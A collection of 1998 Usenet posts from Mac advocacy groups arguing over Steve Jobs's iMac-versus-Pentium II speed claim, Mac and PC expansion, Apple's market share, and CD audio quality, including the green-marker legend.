Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-1608980726050001@elk78.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>
In article <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6r4rnr$inu$1@plug.news.pipex.net>, "D.S.Lyon"
> <ybf09@dial.pipex.com> wrote:
>
> > |"The iMac for $1,299 toasts the fastest PC money can buy at any
> > |price--the Pentium II 400," said Steve Jobs, Apple's interim CEO.
>
> The mac is starting to REALLY take off, we are heading for awesome times,
> and yet now we have to deal with a scummy lieing ceo who is telling lies
> as bad as intel.
You really need to learn what "telling lies" is. You have a penchant for
callin someone a liar every time they say something you don't agree with.
What Jobs said is correct. On Bytemarks, the G3 toast the PII.
Sure, you could choose some other benchmarks:
How fast you can get the computer set up. The Mac wins.
How fast a newbie can learn the system. The Mac wins.
How fast you can get your work done. The Mac wins.
There are lots of benchmarks. Calling Jobs a liar because he chose a
benchmark that you personally don't like is a pretty clear indication of
your bias.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 16 Aug 1998 02:21:56 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <zeno-1608980451300001@pm51-30.magicnet.net>, zeno@magicnet.net
wrote:
> > > |"The iMac for $1,299 toasts the fastest PC money can buy at any
> > > |price--the Pentium II 400," said Steve Jobs, Apple's interim CEO.
> >
> > The mac is starting to REALLY take off, we are heading for awesome times,
> > and yet now we have to deal with a scummy lieing ceo who is telling lies
> > as bad as intel.
>
> The Byte and other benchmarks are saying it. Jobs is just repeating the info.
Really? What other benchmarks? Use codewarrior and you certainly dont
get those results, even in byte. Photoshop sure as hell doesnt show
that. Quake sure as hell doesnt show that. Excel sure as hell doesnt
show that. Word sure as hell doesnt show that. Spec sure as hell doesnt
show that. Caffeine(mark?) sure as hell doesnt show that. Should I go
on? APple's OWN ENGINEERS even said that according to extensive testing
they did with 15 photoshop functions, a g3 266 is only %30 faster than a
p2 266.
You have to be ONE DUMB MOTHERFUCKER to believe a imac is faster than a p2
400. Heck, you have to be dumb enough to believe that the p2 processor is
responsible for more vibrant colors.
Plus, the p2 400 isnt the fastest pc out their, when he said the comment,
their was dual p2 400's, quad p2 400's, even quad xeons.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
Date: Sun, 16 Aug 1998 08:05:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608980805280001@elk78.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com>
In article <35d6af93.40724865@news.iafrica.com>, cquirke@iafrica.com wrote:
> On Sat, 15 Aug 1998 01:38:22 -0300, asiufy@uol.com.br (Alexandre A.
> >In article <6r23ta$ea2$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> >> In article <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net>,
>
> > Except that you're able to use just about any monitor with your
> >Mac. It DOESN'T have to be Apple's, as you might've implied.
> >Unfortunately, things are not the same for keyboard/mice, but now with
> >USB, I see that changing too.
>
> We can use any PC monitor, keyboard or mouse on the PC. The worst
> that can happen is some value-added features don't work, but then
> again, for us a second mouse button is standard already ;-)
Same is true on Macs. Even the part about the second mouse button if
you're using Mac OS 8 or later.
>
> Where we have problems at times is in SVGA cards, sound cards and
> other alternative internal parts - a game that generally isn't even
> played on the Mac ("Why would you want to do that? The system comes
> with a 14400 bps modem and display adapter built in anyway!")
If you get a PowerMac G3, you can add PCI cards as well. It's just that
some people choose a non-expandable computer for the convenience. After
all why pay for something you don't want or need?
>
> One of the defining things about PCs is that they have had expansion
> slots from day one. No having to pay a premium for SCSI, no paying
> extra for the models with PCI slots years after PCI was standard.
Right. Like not paying for floppy drives if you don't need them.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 16 Aug 1998 07:06:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608980706240001@elk78.dol.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net> <1ddt08m.iy03ufidbv0hN@dialup102-2-29.swipnet.se> <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net> <kindall-1508981941230001@nic-c41-094.mw.mediaone.net>
In article <kindall-1508981941230001@nic-c41-094.mw.mediaone.net>,
kindall@mail.manual.com (Jerry Kindall) wrote:
> In article <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > While I heartily agree with your statements vis-a-vis A/D, D/A converters
> > and multimiking, I'm sorry, but I have to disagree STRONGLY with your
> > conclusion. CDs sound worse the better the playback system, while LPs sound
> > better as the equipment improves. This tells me that the CD has less
> > information
> > on it than meets the casual eye (or ear, in this case), while the LP has
> > more info
> > on it than is apparent on less than state-of-the-art equipment.
>
> Trust me, George, CDs sound a _lot_ better on my living room stereo
> through my Vandersteen 2ce speakers than they sound in here on my computer
> through a JVC boom box. There is no contest whatsoever.
That's what's funny about this whole discussion. People bragging about
their high quality PC sound cards run them through a set of speakers that
probably sound worse than the home speakers I abandoned 5 years ago.
Look folks, virtually ANY PC or Mac has better quality sound than your
speakers can reproduce--unless you spent upwards of $1000 on speakers for
your PC.
Granted, there are a few professionals who need better quality, but there
are professional quality sound cards for Macs, as well.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 16 Aug 1998 08:03:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608980803190001@elk78.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <35d6b123.41124763@news.iafrica.com>
In article <35d6b123.41124763@news.iafrica.com>, cquirke@iafrica.com wrote:
> On Fri, 14 Aug 1998 16:26:22 -0400, joe.ragosta@dol.net (Joe Ragosta)
> >In article <6r22ti$bvq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> >> In article <nospam-1408980055000001@dhack1-124.cybernex.net>,
>
> >This isn't a flame or anything, but a real question.
>
> >Since CD quality stereo is already better quality than 99% of people can
> >pick up, why do you need better than CD quality sound?
>
> Same reason scanners are offering better than 24-bit color.
>
> If you work with sound (or graphics), rather than simply be the
> end-consumer of someone else's final output, you will be using raw
> material that has wider dynamic range and may be far from optimised to
> derive full benefit from available bandwidth.
>
> Then you will mix this raw material and process it further, a process
> which consumes some of the detail due to rounding errors etc.
>
> So if you want the final output to be as good as the available
> bandwidth can sustain (e.g. say 16-bit/44kHz audio, or 24-bit/1200 dpi
> print) then you need to do your work at a higher quality level.
OK. Those are all good points. For a very tiny percentage of people, you
do need better quality sound. Which is why there are professional quality
sound cards for Macs AND PCs.
But how is all of this relevant when the average computer is driving
speakers with a 4" speaker and a total cost of under $100?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: nojunkhattonr@aug.com (Rick)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 16 Aug 1998 13:01:07 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980816130107439817@pm2-2-04.aug.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>
Steve Sullivan <macghod@concentric.net> wrote:
> The mac is starting to REALLY take off, we are heading for awesome times,
> and yet now we have to deal with a scummy lieing ceo who is telling lies
> as bad as intel.
Unfortunately he seems to be the only one that Apple and the Press will
allow as CEO. We'l see how he progresses.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 16 Aug 1998 13:01:12 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980816130112440082@pm2-2-04.aug.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <361bf690.177367739@news.supernews.com>
T. Max Devlin <mdevlin@eltrax.com> wrote:
> I just love this shit. "The Mac is starting to really take off." The
> damn thing has been the most popular non-IBM clone microcomputer for
> almost fifteen years, and people still think in terms of "starting to take
> off; will become very popular in the future", etc.
How about... starting to take off again?
--
Remove nojunk from my email address to reply by email.
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 16 Aug 98 09:42:18 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B1FC59FD-3471F@153.36.247.56>
References: <35d6af93.40724865@news.iafrica.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.mac.system,
nntp://news.earthlink.net/comp.sys.intel
On Sun, Aug 16, 1998 11:11 AM, cquirke@iafrica.com
<mailto:cquirke@iafrica.com> wrote:
>One of the defining things about PCs is that they have had expansion
>slots from day one. No having to pay a premium for SCSI, no paying
>extra for the models with PCI slots years after PCI was standard.
Oops, all the IRQs are taken up, can't use my expansion slots... :)
From: jsapan@dnai.com (Jonathan J. Sapan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: HOLY SH*T!!!! $101M Profit!!!!
Date: Sun, 16 Aug 1998 07:01:50 -0700
Organization: DNAI ( Direct Network Access )
Message-ID: <jsapan-1608980701510001@dnai-207-181-206-192.dialup.dnai.com>
References: <6oj4m6$nn9@bgtnsc02.worldnet.att.net> <edremy-ya02408000R1607981111360001@news.usc.edu> <6olhv7$jhq$1@flotsam.uits.indiana.edu> <6olmi1$105s$1@nntp6.u.washington.edu> <6olopt$1vm$1@jetsam.uits.indiana.edu> <Pine.SOL.3.96.980716160231.19922C-100000@ux7.cso.uiuc.edu> <djboccip-1607982138570001@tnt2-191.hiwaay.net> <MPG.101898ff5e2179fb989681@news.interport.net> <djboccip-1707980932490001@tnt2-130.hiwaay.net> <6opk2l$kqh$1@news6.ispnews.com> <joe.ragosta-1807980719560001@elk58.dol.net> <macghod-1807981136340001@sdn-ar-001casbarp049.dialsprint.net>
> I have not seen a response from you so I will ask the question again:
> q3 97 apple shipped about 700k machines. THis last quarter they shipped
> about 650k machines. THe personal computer market is INCREASING. THus
> how do you say apple market share is increasing? Add in the fact that a
> year ago their was STILL a clone market, and this makes this last quarters
> sales even worse. Probably more than %15 decrease if you look at apple as
> being basically the whole macos compatible market, which they basically
> are.
The fact is that Apple's market share *is* rising on a per quarter basis
(i.e., percentage of machines sold in each quarter). I don't know what
how significant of an impact this makes on total market share, but it must
make some... Also, while Apple's sales may be down, so are the slaes of
other PC companies...
From: cdyer@infochan.com (Charles Dyer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Sun, 16 Aug 1998 08:53:49 -0500
Organization: Howler Monkeys, Inc.
Message-ID: <cdyer-1608980855100001@208.135.101.83>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <td-1308982152540001@ppp34-max01.twics.com> <cirby-1308981035460001@pm61-42.magicnet.net>
In article <cirby-1308981035460001@pm61-42.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
> td@twics.com (Troy Dawson) wrote:
>
> > Right now I am downloading while I write this. I am purposefully not
> > editing the errors, the ones that apparently aren't showing up
> > like our friend's above.
>
> Just ignore Macdhud. He's been posting all sorts of false and misleading
> crap about Macs for years, and almost everything he's ever "found" has
> been due to his own incompetence with or intentional misuse of Macs.
Ah... I have seen that kind of thing... _sometimes_. It is _not_ easily
repeatable on my Mac (right now 7200/90, 56 MB RAM, OS 8.1, RD 8.0.1, SD
8.1, MT-NW 2.4.4, Eudora Pro 4.0.2 beta...) but I have experienced it with
various versions of MT-NW and Eudora Pro with various versions of the
System Software over the last three years or so. YA-NW does not exhibit
this problem. It _seems_ that the lost characters are tied in with
YA-Base64 and/or UUundo starting up, but not always... and I get them,
_sometimes_, even if I had started the helper apps by hand beforehand,
rather than waiting for the newsreader to start them.
There is a different problem that occurs with Netscape 3 and especially 4
if you're trying to read news and either ftping (with Fetch, Anarchie, or
Netscape itself) in the background, or if you are merely attempting to
compose a post while something downloads from usenet. (Note... while I was
writing this, I noticed that the word 'compose' above had come out as
'pose'... MT-NW ate the 'com'...) The Netscape prob is best avoided by not
using Netscape to read news
This is, unfortunately, real. It's also not a big deal, if you try to
reread your stuff before hitting the 'post' button.
And, please, before you flame me about _my_ incompetence and/or
intentional misues of Macs, I've been a Mac user since May 17th, 1984,
when I took delivery of my Mac 128. I still have my original System
Software floppies. (Can't do anything with them now, as OS 8.x doesn't
read 400k floppies, but I still have them...)
--
sic transit gloria mundi
From: "Jeroen den Hertog" <jhert@worldonline.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 23:49:00 +0200
Organization: World Online
Message-ID: <6r7k78$hb5$1@news.worldonline.nl>
References: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>
Let's say: buy the machine for the games and applications you can find
everywhere.
Same thing for the hardware...
So?...... Intel: thanks you for the entertainment you give to me......
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 16 Aug 1998 15:15:27 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <361bf690.177367739@news.supernews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>
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macghod@concentric.net (Steve Sullivan), on Sat, 15 Aug 1998 20:26:04 -0700,
>In article <6r4rnr$inu$1@plug.news.pipex.net>, "D.S.Lyon"
><ybf09@dial.pipex.com> wrote:
>
>> |"The iMac for $1,299 toasts the fastest PC money can buy at any
>> |price--the Pentium II 400," said Steve Jobs, Apple's interim CEO.
>
>The mac is starting to REALLY take off, we are heading for awesome times,
>and yet now we have to deal with a scummy lieing ceo who is telling lies
>as bad as intel.
I just love this shit. "The Mac is starting to really take off." The damn
thing has been the most popular non-IBM clone microcomputer for almost fifteen
years, and people still think in terms of "starting to take off; will become
very popular in the future", etc.
I have even heard people who are supposed to know what they're talking about
saying things like "the Mac was a failed product". Jeez.
There's something seriously wrong with the brains of modern humans if they
think that the only way to be "successful" is to build a monopoly.
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 06:57:53 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35D80CAE.1EEB@bellatlantic.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net>
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Joe Ragosta wrote:
>
> What I don't understand is how this could affect the sound
> of a _digital_ medium.
>
> Unless you hypothesize that a significant number of bits
> were being missed without the green marker, it doesn't make
> sense.
>
That is _exactly_ my hypothesis. CD players already have pretty
high tolerance for bit errors in the audio data, on the grounds
that the human ear won't be able to detect those to easily. How-
ever, I don't think that this applies as the error rate increases.
It is pretty clear that you would be able to detect errors more
readily if they occurred in the high-order bits than in the low-
order ones (which would show up as pops and clicks in the audio
stream), so you might well be able to detect higher bit error
rates in a similar fashion.
I really don't know though. It seems pretty far fetched to me,
that marking edge of a CD could really change the sound very
much. As I said, it is simpler to assume that most of the
participants in the tests simply preferred to report only the
instances that sounded better, than to figure out a way that
the marker could change the quality of a digital data stream.
Now, if you simply showed that listeners were able to hear the
difference between marked and unmarked CD's, ignoring any report
of sound quality, then I would be much more convinced.
- Jeff Dutky
Date: Mon, 17 Aug 1998 06:56:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1708980656280001@elk81.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com>
In article <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com>,
uthant@un.org (U Thant) wrote:
> In article <joe.ragosta-1608981658190001@elk59.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
> >
> > What I don't understand is how this could affect the sound of a _digital_
> > medium.
> >
> > Unless you hypothesize that a significant number of bits were being missed
> > without the green marker, it doesn't make sense.
>
>
> That damn red laser just bounces around all over the insides of a CD and
> of course reflects off of the edge of the CD to continue its bouncing.
> Somehow the light manages to find its way back to the pickup lens and
> "fools" it into seeing the bounced light as CD information. The green
> magic (good name!) marker reduces the reflections by absorbing most of
> the bouncing red beam.
> Never mind that measurements of error correction taken before and after
> application of the pen don't change, people still hear a difference. Its
> one of those audio things that can't be measured.
But that's my point. If the error correction measurements are unchanged,
the color couldn't possibly make a difference. If the laser sends
010011010110101.... to the DAC, it doesn't matter one whit whether those
bits per picked up with a red laser, with a filtered laser, or with a
PlaySchool player.
The only possible explanation would be if the green magic marker reduced
(or increased) the number of errors--and this should be easily
quantifiable.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 17 Aug 1998 06:59:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: "CD quality" audio, was Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1708980659350001@elk81.dol.net>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <6r2j1d$ilf$1@plo.sierra.com> <joe.ragosta-1408982111560001@elk41.dol.net> <6r3062$b68$1@news.spacelab.net> <p.kerr-1708981622430001@news.auckland.ac.nz>
In article <p.kerr-1708981622430001@news.auckland.ac.nz>,
p.kerr@auckland.ac.nz (Peter Kerr) wrote:
> The maximum possible s/n from a standard 16bit CD is 96dB. (No arguments
> about compression, mpeg, etc, please)
>
> Apple's published figures for most of the PowerMac line motherboard audio
> is (depending on model, in or out) 80 - 88 dB, which is often claimed to
> be "near CD quality"
>
> Note that this is an order of magnitude better than the old NAB standard
> of 72 dB ("broadcast quality") which was being used by FM broadcasters
> right up until CDs came on the scene.
>
> We have DigiDesign boards in our Macs, and even these have their limitations.
>
> Problem is, that if you spend all your time worrying about little things
> like that, one day you find yourself in a concert hall (and I have :-(
> listening not to the music, but to the airconditioning, the audience, the
> vehicles outside...
Exactly.
In fact, one of the features I wanted on my last CD player was a dynamic
range compression system. Unfortunately, when I bought it (years ago),
this feature was too expensive.
In most of the environments where I listen to music (the car being a great
example), the dynamic range of CDs is too large, particularly for
classical music. You either give up the softer passages or destroy your
ears (and stereo system) on the louder ones.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 17 Aug 1998 06:57:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1708980657230001@elk81.dol.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net>
In article <kindall-1608982232400001@nic-c41-094.mw.mediaone.net>,
kindall@mail.manual.com (Jerry Kindall) wrote:
> In article <edewExt5HI.JBz@netcom.com>, edew@netcom.com (Eric Dew) wrote:
>
> > In article <35D72295.1D53@bellatlantic.net> dutky@bellatlantic.net writes:
> > >Concerning the sound quality of audio CDs, Honathan Hendry
> > >wrote (possibly sarcastic):
> > >> You need to use a green marker on the edge of the CD.
> > >
> > >to which George Graves responded:
> > >> It helped, believe it or not ... I was part of several
> > >> double-blind tests which proved conclusively that the
> > >> green marker changed the sound - often for the better.
> > >
> > >and Jacob Fuller followed up with:
> > >> What exactly does the green marker do?
> >
> > I green-markered my OS CDs...they loaded 15% faster and had fewer bugs
> > than without the green marking. :-)
>
> Did you try it on an Office 4.2.1 CD? I hear that's much improved.
True. Except that to improve an Office 4.2.1 CD, the best place to put the
marker is all over the _face_ of the CD, not the sides.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 17 Aug 1998 11:31:42 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6r94au$gp3$3@sun27.hrz.tu-darmstadt.de>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <joe.ragosta-1708980657230001@elk81.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <kindall-1608982232400001@nic-c41-094.mw.mediaone.net>,
>kindall@mail.manual.com (Jerry Kindall) wrote:
>> > I green-markered my OS CDs...they loaded 15% faster and had fewer bugs
>> > than without the green marking. :-)
>>
>> Did you try it on an Office 4.2.1 CD? I hear that's much improved.
>
>True. Except that to improve an Office 4.2.1 CD, the best place to put the
>marker is all over the _face_ of the CD, not the sides.
Bah. A much more effective way of greatly reducing the number of bugs in
Office is to put the CD in a microwave oven - *prior* to installation
of course. A few seconds usually do the trick.
This green felt tip pen thing is really just an urban legend, folks.
Hope this clears things up, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: uthant@un.org (U Thant)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
